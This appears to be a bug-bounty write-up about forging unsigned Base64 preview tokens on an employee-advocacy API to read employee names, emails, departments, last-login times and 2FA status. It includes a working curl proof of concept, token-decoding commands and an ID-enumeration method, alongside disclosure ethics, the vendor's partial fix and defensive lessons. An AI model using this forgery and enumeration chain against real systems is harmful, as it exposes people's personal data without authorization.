December 3, 2026
How Three Unsigned Integers Let Me Read Employee Data on a Multinational’s Advocacy Platform
A “secure” link token that was never signed, never expired, and never really verified handed me employee names, corporate emails…

By Priyansh
6 min read
A "secure" link token that was never signed, never expired, and never really verified handed me employee names, corporate emails, departments, and last-login timestamps for one of Europe's largest employers. I never logged in as anyone — I picked three integers and the server did the rest. The story starts three weeks earlier, with a dead report and an error message that refused to explain itself.
The scene
The target — call it MeridianPost, a fictional name for a very real European logistics giant — runs a coordinated vulnerability disclosure program on a wildcard scope: every subdomain of their main domain is in scope, and the house rules are blunt. Only medium severity and above counts. Anything less is noise, and noise gets you a reputation.
Deep in that wildcard sat an ambassador portal — the front end of an employee-advocacy SaaS (call it EchoReach) that lets staff share pre-approved marketing campaigns on their personal LinkedIn profiles. The portal looked boring. The API behind it, api2.echoreach.example, was not.
The constraints shaped the whole hunt: no account on the platform, no insider knowledge, and a hard severity floor.
The wall
Every hunt has a graveyard. Mine, one line per grave:
- Forged preview tokens with guessed post IDs → died at
"post does not exist". Without one validpost_id, every forgery hit the same brick wall. - The first report, built on that incomplete chain → triaged as insufficient. The missing valid post_id was the gap.
- Authenticated hub endpoints → properly gated. Nothing to forge without a session.
- The share flow → rejected by tenant policy: "manual sharing disabled."
- Blind user-ID enumeration → error messages couldn't distinguish a dead user from a dead post.
Then one endpoint answered without asking who I was.
The pivot
While mapping the API's unauthenticated surface, I hit /hub/usergroups/list — an endpoint that resolved the tenant purely from the Origin header and returned the internal usergroup list, IDs and all: 10013311 through 10016522.
The data was uninteresting. The numbers were everything. Multi-tenant platforms typically allocate entity IDs from one shared, sequential space — so MeridianPost's campaign posts almost certainly lived just past the top of that band. A blind brute-force over an unknown universe had just become a guided walk through about 4,500 integers.
That's why this mattered more than any single endpoint: it didn't open a door, it handed me the building's floor plan.
Phase 1 — Recon: three integers in a trench coat
Tools: browser DevTools, curl. The ambassador portal's traffic exposed preview URLs of the shape:
GET /api/posts/getPreview?token=eyJ1c2VyX2lkIjoxLCJwb3N0X2lkIjoxMDAxNjU0NCwibmV0d29ya19pZCI6MX0=GET /api/posts/getPreview?token=eyJ1c2VyX2lkIjoxLCJwb3N0X2lkIjoxMDAxNjU0NCwibmV0d29ya19pZCI6MX0=Decode it locally:
printf %s 'eyJ1c2VyX2lkIjoxLCJwb3N0X2lkIjoxMDAxNjU0NCwibmV0d29ya19pZCI6MX0=' | base64 -d
# {"user_id":1,"post_id":10016544,"network_id":1}printf %s 'eyJ1c2VyX2lkIjoxLCJwb3N0X2lkIjoxMDAxNjU0NCwibmV0d29ya19pZCI6MX0=' | base64 -d
# {"user_id":1,"post_id":10016544,"network_id":1}No signature. No expiry. No issuer claim. The "token" is plain Base64 JSON — a capability in an envelope anyone can write.
Phase 2 — Find: the ID band
curl -s 'https://api2.echoreach.example/hub/usergroups/list' \
-H 'Origin: https://ambassadors.meridianpost.example' | jq '.[].id'
# 10013311
# ...
# 10016522curl -s 'https://api2.echoreach.example/hub/usergroups/list' \
-H 'Origin: https://ambassadors.meridianpost.example' | jq '.[].id'
# 10013311
# ...
# 10016522One line of interpretation: the tenant's entity-ID band, served unauthenticated — the map to the post neighborhood.
Phase 3 — Confirm: the scan
A sequential walk through 10016543–10020904, each forged token carrying one candidate post_id and a fixed user_id. Throttled, off-hours, and stamped with the research identification headers the program mandates. Output:
- 50 published MeridianPost campaigns — titles, bodies, images, share URLs
- 13 deleted-post confirmations
Campaigns from March 2023, served unauthenticated in November 2026, three and a half years later.
Phase 4 — Exploit: pick a user, any user
The campaign payload wasn't the finding. The user-binding was. With post 10016544 fixed, I forged tokens for user_id 1, 2, and 10078549 — the last one a real, active employee account. Every one returned success:true with the full preview, and the server minted a share credential for the user I had invented:
user_id 1 → shareLink[0].token decodes to {"post_id":10016544,"user_id":1,"network_id":3}
user_id 2 → {"post_id":10016544,"user_id":2,"network_id":3}
user_id 10078549 → {"post_id":10016544,"user_id":10078549,"network_id":3}user_id 1 → shareLink[0].token decodes to {"post_id":10016544,"user_id":1,"network_id":3}
user_id 2 → {"post_id":10016544,"user_id":2,"network_id":3}
user_id 10078549 → {"post_id":10016544,"user_id":10078549,"network_id":3}Same response also carried the embedded author block: name, corporate email, department, last login (the morning of the test), and 2FA status — for a real employee, returned to an anonymous requester.
The PoC (deliberately boring)
The minimal chain, two commands, no tooling:
TOKEN=$(printf %s '{"user_id":2,"post_id":10016544,"network_id":1}' | base64 -w0)
curl -s "https://api2.echoreach.example/api/posts/getPreview?token=$TOKEN" \
-H 'Origin: https://ambassadors.meridianpost.example' \
-H 'Accept: application/json' \
| jq '{success, author: .data.author, share_token: .data.shareLink[0].token}'
{
"success": true,
"author": null,
"share_token": "eyJwb3N0X2lkIjoxMDAxNjU0NCwidXNlcl9pZCI6MiwibmV0d29ya19pZCI6M30"
}TOKEN=$(printf %s '{"user_id":2,"post_id":10016544,"network_id":1}' | base64 -w0)
curl -s "https://api2.echoreach.example/api/posts/getPreview?token=$TOKEN" \
-H 'Origin: https://ambassadors.meridianpost.example' \
-H 'Accept: application/json' \
| jq '{success, author: .data.author, share_token: .data.shareLink[0].token}'
{
"success": true,
"author": null,
"share_token": "eyJwb3N0X2lkIjoxMDAxNjU0NCwidXNlcl9pZCI6MiwibmV0d29ya19pZCI6M30"
}That share_token is server-minted, decodes to the user I chose, and is the exact credential format the share endpoint consumes. author shows null because that's the post-fix behavior — see the twist.
Artifacts left behind: one JSON file per confirmed request, one scan log, one screenshot per triage step — all attached to the report, all deleted after acceptance. Demonstrations should be tidy.
The ethics box
What I did not do:
- No login, no session, no cookies — every request was unauthenticated
curl. - Never used a minted share credential beyond one validation request that tenant policy rejected anyway.
- No mass-exfiltration: I sampled the author block once per distinct campaign and stopped. Fifty campaigns × one record each, not fifty thousand.
- Never contacted any employee whose data appeared.
- All traffic carried the program's mandated identification headers; all findings went to the disclosure platform the same day.
- Read-only from first request to last.
The impact math
- Cost to attacker: ~4,500 requests across a few hours, unauthenticated, trivially parallelizable. Three integers per request, all locally forgeable.
- Data exposed per campaign: the author's name, corporate email, department, last-login timestamp, and 2FA status — multiplied by 50 confirmed campaigns in one tenant's band, one band of many in a shared sequential ID space.
- Credential minting: the server generates a per-user share credential on demand for any user_id the attacker picks — share-as-victim functionality, gated only by a per-post policy flag.
- Longevity: links from March 2023 still function in late 2026. Every preview link ever emailed for every campaign is a permanent, non-expiring credential — and since the token is unsigned, none of it is even needed: everything is forgeable from scratch.
- Attacker's-eye view: per-user preview pages and per-user screenshot URLs on a trusted corporate domain are pre-built phishing infrastructure — "personalized" pages that render for any chosen victim ID, on a domain employees recognize.
That's not "could be abused." That's the math.
Negative controls
What the bug could not do — tested, not assumed:
- No write access. The share endpoint and flag endpoint both reject forged tokens at a policy layer (HTTP 422) — verified across all 50 campaigns.
- No cross-tenant reads. The tenant is resolved from
Origin; forging anetwork_idfrom another tenant's band didn't leak their data. - No XSS. Response values render as data in the preview page; payload attempts were inert.
- No account takeover. The token governs preview reads only; it isn't a session token.
This list is what makes the severity claim bulletproof: it bounds the bug precisely at "unauthenticated cross-user read + per-user credential minting."
The twist
Two twists, actually.
First: the "it's public data" defense. The triager pointed out — correctly — that advocacy campaign content is meant to be public on LinkedIn. The resolution: a human visitor to a preview page sees an image, a caption, and suggested text. The API response additionally returned the author's corporate email, department, last login, and 2FA status. The browser view and the API view are two different disclosures, and only one of them was ever approved for the public.
Second: the retest lesson. A fix was deployed, and the triager asked the classic question — "is that a cached response?" The proof took one header: the response's Date stamp matched my request timestamp to the second, with Cache-Control: no-cache, private and no CDN cache headers. Live server, not a replay. And the fix itself was partial in an instructive way: the author block was nulled (impact fixed) while the unsigned token validation remained untouched (root cause alive). Fixing the leak isn't fixing the door.
Rating
Medium. Unauthenticated broken access control with real-but-bounded confidentiality impact — my CVSS math landed at 5.3 territory. It's not high because there's no write primitive, no cross-tenant escape, no session takeover, and part of the content is public by design. It's well above low because employee PII and on-demand per-user credentials came back to an anonymous requester with zero interactions.
Lessons learned
- The unauthenticated metadata endpoint was the real door. The token forgery was the last, easiest step. Rule: map the unauthenticated surface before you fight the authenticated one — the floor plan beats the lock.
- A token you can write yourself is a capability, not a reference. If
base64decodeis the entire verification step, there is no verification. Rule: anything "token-shaped" must be signed, or treated as public input. - "It's public data" is a UI-vs-API confusion. Compare what a human sees on the page with what the API returns. Rule: the response body is the disclosure; the webpage is just one rendering of it.
- Non-expiring links are permanent credentials. Three years of emailed preview links still worked. Rule: preview tokens need expiry exactly like sessions do.
- "Is it cached?" takes one header to answer.
Date+Cache-Controlsettled it instantly. Rule: timestamp your runs and log response headers on every proof — your future self is a witness. - Fixing the field is not fixing the flaw. The author block went null; the unsigned token still sailed through. Rule: on retest, verify the mechanism, not just the symptom.
- Ask what the bug mints, not just what it leaks. Per-user, server-signed-looking credentials on demand is phishing-grade output. Rule: credential issuance is an impact category of its own.
- The ID band is the multiplier. One leaked sequential range turned a dead end into a complete tenant inventory. Rule: sequential IDs in multi-tenant systems leak tenant boundaries — enumerate them.
A token the server never signs is not a credential — it's a permission anyone can write.